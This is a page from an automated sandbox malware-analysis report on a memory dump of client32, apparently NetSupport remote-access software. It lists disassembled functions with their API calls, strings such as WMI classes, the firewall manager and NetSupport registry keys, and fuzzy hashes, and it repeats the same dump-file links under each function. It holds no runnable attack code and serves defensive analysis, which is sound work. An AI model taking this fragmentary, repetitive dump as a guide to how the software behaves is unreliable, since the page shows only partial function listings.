Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 942c5252def4268129969c39a1215845e921a51e2954e507dd92eff7077da9be
Instruction ID: dd955378f98185685044f21f066d1e50e049b7277ab8e5714ac6db0ba135c9a8
Opcode Fuzzy Hash: 942c5252def4268129969c39a1215845e921a51e2954e507dd92eff7077da9be
Instruction Fuzzy Hash: AB518835D4022E5BD711CF24DC50BDEF7A4AF15B08F2401A4D8997BA80EBB27B84CBA5

Function 11107290 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,776CC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11189A56,000000FF), ref: 11107363
LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111073B2
std::exception::exception.LIBCMT ref: 11107414
__CxxThrowException@8.LIBCMT ref: 11107429

Strings

Advapi32.dll, xrefs: 11107365
Wtsapi32.dll, xrefs: 1110735E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$CreateEventException@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: Advapi32.dll$Wtsapi32.dll
API String ID: 2851125068-2390547818
Opcode ID: aaba10e307cec69a1f7ff7a57bac704082b679f648b946fc7c8140d35e3eefa9
Instruction ID: 20da51148d2406ef940ba90f631bbe284ff6dbb95dc7cb8c25b5cdc78ae8e1aa
Opcode Fuzzy Hash: aaba10e307cec69a1f7ff7a57bac704082b679f648b946fc7c8140d35e3eefa9
Instruction Fuzzy Hash: 2A4115B4D09B449FC761CF6A8940BDAFBE8EFA9604F00490EE5AE93210D7797500CF56

Function 11017300 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002D8,000000FF), ref: 1101733C
CoInitialize.OLE32(00000000), ref: 11017345
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101736C
CoUninitialize.COMBASE ref: 110173D0

Strings

Win32_ComputerSystem, xrefs: 1101735D
PCSystemTypeEx, xrefs: 1101737C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: 3ab08bcf13d713d750a6400e0dd08c6ca0ab4b874316cbd8a5b8b2923fc85cec
Instruction ID: df925c951649f52390f194a40c23bf9fa59b5f59fb7a44760539d7ccd5920114
Opcode Fuzzy Hash: 3ab08bcf13d713d750a6400e0dd08c6ca0ab4b874316cbd8a5b8b2923fc85cec
Instruction Fuzzy Hash: 7F2137B5E041259BDB11DFA0CC46BBAB6E8AF40308F0040B9EC69DB184FA79E940D7A1

Function 11017220 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002D8,000000FF), ref: 11017252
CoInitialize.OLE32(00000000), ref: 1101725B
_GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017282
CoUninitialize.COMBASE ref: 110172E0

Strings

Win32_SystemEnclosure, xrefs: 11017273
ChassisTypes, xrefs: 11017292

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2407233060-2037925671
Opcode ID: 03f14ebb68a291b498bc3e28f26753d57b14005c3c93e514e963537cc8d20d91
Instruction ID: c2f3c346b695d23426c96ecc328f7bdb1aeadc280033f44fb53199f8ba8604cb
Opcode Fuzzy Hash: 03f14ebb68a291b498bc3e28f26753d57b14005c3c93e514e963537cc8d20d91
Instruction Fuzzy Hash: 19210575E016299BD712DFE0CC45BEEB7E89F80718F0001A8FC29DB184EA7AE945C761

Function 11096970 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11096984
CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,1113769B), ref: 1109699E
CoCreateInstance.OLE32(?,00000000,00000001,111C08AC,?,?,?,?,?,?,?,1113769B), ref: 110969BB
CoUninitialize.OLE32(?,?,?,?,?,?,1113769B), ref: 110969D9

Strings

HNetCfg.FwMgr, xrefs: 11096999
ICF Present: , xrefs: 110969E0

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceProgUninitialize
String ID: HNetCfg.FwMgr$ICF Present:
API String ID: 3222248624-258972079
Opcode ID: f34227f50c1ea86a65abb9f5b461b7bcbc9d9ad9ed009c44ac4fae2586091261
Instruction ID: ffe5b7852bae71a5603cb4f529131e3535c43cf5cc9a129c5e7f13935f1cb029
Opcode Fuzzy Hash: f34227f50c1ea86a65abb9f5b461b7bcbc9d9ad9ed009c44ac4fae2586091261
Instruction Fuzzy Hash: 9C11AC74E0012DABC700EAE5DC95AEFBB68AF45709F100029F50AEB144EA21EA40C7E2

Function 11025D00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11025D16
K32GetProcessImageFileNameA.KERNEL32(?,?,?,1110720F,00000000,00000000,?,11106527,00000000,?,00000104), ref: 11025D32
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11025D46
SetLastError.KERNEL32(00000078,1110720F,00000000,00000000,?,11106527,00000000,?,00000104), ref: 11025D69

Strings

GetModuleFileNameExA, xrefs: 11025D40
GetProcessImageFileNameA, xrefs: 11025D10

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: fbb342385a7ca70d12a15f9985bda82124cf97ba9cccb812bf362dda13377f65
Instruction ID: 74662284ed99b9a54ad109221a671fe8fcdc3fa540ca7c31caa090441a4958f5
Opcode Fuzzy Hash: fbb342385a7ca70d12a15f9985bda82124cf97ba9cccb812bf362dda13377f65
Instruction Fuzzy Hash: 98016D72601718ABE330DEA5EC48F87B7E8EB88765F10052AF95697200D631E8018BA4

Function 1110F2B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,776CC3F0,00000000,?,11110245,1110FDE0,00000001,00000000), ref: 1110F2C7
CreateThread.KERNEL32(00000000,11110245,00000001,00000000,00000000,0000000C), ref: 1110F2EA
WaitForSingleObject.KERNEL32(?,000000FF,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F317
CloseHandle.KERNEL32(?,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F321

Strings

hThread, xrefs: 1110F300
..\ctl32\Refcount.cpp, xrefs: 1110F2FB

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 3360349984-1136101629
Opcode ID: c9018d34e74e4049c7ebca087304ef1218ab8024f9415a3366a00b8023e95b9a
Instruction ID: 7cf91fcea6c2a3c5c2684f5d08a561b662f4dc7f01f0c277a0d6c7245401f800
Opcode Fuzzy Hash: c9018d34e74e4049c7ebca087304ef1218ab8024f9415a3366a00b8023e95b9a
Instruction Fuzzy Hash: E7015E7A7443166FE3209EA9CC86F57FBA8DB44764F104128FA25962C4DA60F805CB64

Function 11031960 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110319A7

Strings

_HF, xrefs: 11031988, 1103198D
562258, xrefs: 1103198E
_SW, xrefs: 1103197C
%s%s%s.bin, xrefs: 110319A1
_HW, xrefs: 11031970

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$562258$_HF$_HW$_SW
API String ID: 2111968516-3988310630
Opcode ID: b97882e65002706a22fb778f12bbc90950e65c749b3e8462a2311051e46cf205
Instruction ID: 34a826dfca0d5743c415d593f242b0f3cefc790b54bbadf5113738552eb06063
Opcode Fuzzy Hash: b97882e65002706a22fb778f12bbc90950e65c749b3e8462a2311051e46cf205
Instruction Fuzzy Hash: 93E092A1D1870C6FF70085589C15F9EFAE87B4978EFC48051BEEDA7292E935D60082D6

Function 11102AB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 11102B03
GetStockObject.GDI32(00000004), ref: 11102B5B
RegisterClassA.USER32(?), ref: 11102B6F
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00130000,00000000,11000000,00000000), ref: 11102BAC

Strings

NSMDesktopWnd, xrefs: 11102AE9, 11102B68, 11102BA6

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: e27069a72c11c1f4eb1c56e7938a9b61728f0754eae0ec1cd31abd721b9bda48
Instruction ID: 4c07b853b75387a4d851a66abc04609236edd6d81c14be1d28904dd9f6a0e6ac
Opcode Fuzzy Hash: e27069a72c11c1f4eb1c56e7938a9b61728f0754eae0ec1cd31abd721b9bda48
Instruction Fuzzy Hash: C231F4B0D15619AFDB44CFA9D980A9EFBF4FB08314F50962EE46AE3640E7346900CF94

Function 1113CC30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(00000000,00000000,TermUI...), ref: 1113CC9A
KillTimer.USER32(00000000,00007F36,TermUI...), ref: 1113CCB3
FreeLibrary.KERNEL32(76D50000,?,TermUI...), ref: 1113CD2B
FreeLibrary.KERNEL32(00000000,?,TermUI...), ref: 1113CD43

Strings

TermUI, xrefs: 1113CC32

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeKillLibraryTimer
String ID: TermUI
API String ID: 2006562601-4085834059
Opcode ID: 0b8b98d89ae2f905afc74c8ae1c01cea1ae783866c2b84ef9f483cfa62b8061f
Instruction ID: 1c615ec055e307fcecd6c2f5a0081f3099d40e524c959ad3afbad8c7da76a6da
Opcode Fuzzy Hash: 0b8b98d89ae2f905afc74c8ae1c01cea1ae783866c2b84ef9f483cfa62b8061f
Instruction Fuzzy Hash: 813182B46121329FE605DF9ACDE496EFB6ABBC4B1C750402BF4689720CE770A845CF91

Function 11145330 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111453A0
RegCloseKey.ADVAPI32(?), ref: 11145404

Strings

SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11145367, 1114539E
SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 11145380
ForceRTL, xrefs: 111453C3

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: 2e1f21c9ebfd0fdc4230699bf98ebb40bf83fdb687853d653e48f9fb82f12d2f
Instruction ID: 3a61aca8bf2f26e8be4db12f87e0943ca7983303b4b50086f785ef97d0623835
Opcode Fuzzy Hash: 2e1f21c9ebfd0fdc4230699bf98ebb40bf83fdb687853d653e48f9fb82f12d2f
Instruction Fuzzy Hash: 56218875E0422A9BE760DB64CD80B9EF7B8EB44708F1042AAD85DF7540E771AD458BB0

Function 111114D0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 11111430: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111145A
Part of subcall function 11111430: __wsplitpath.LIBCMT ref: 11111475
Part of subcall function 11111430: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111114A9

GetComputerNameA.KERNEL32(?,?), ref: 11111578

Strings

\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 11111587
\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 11111520
, xrefs: 11111571
ACM, xrefs: 11111532

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
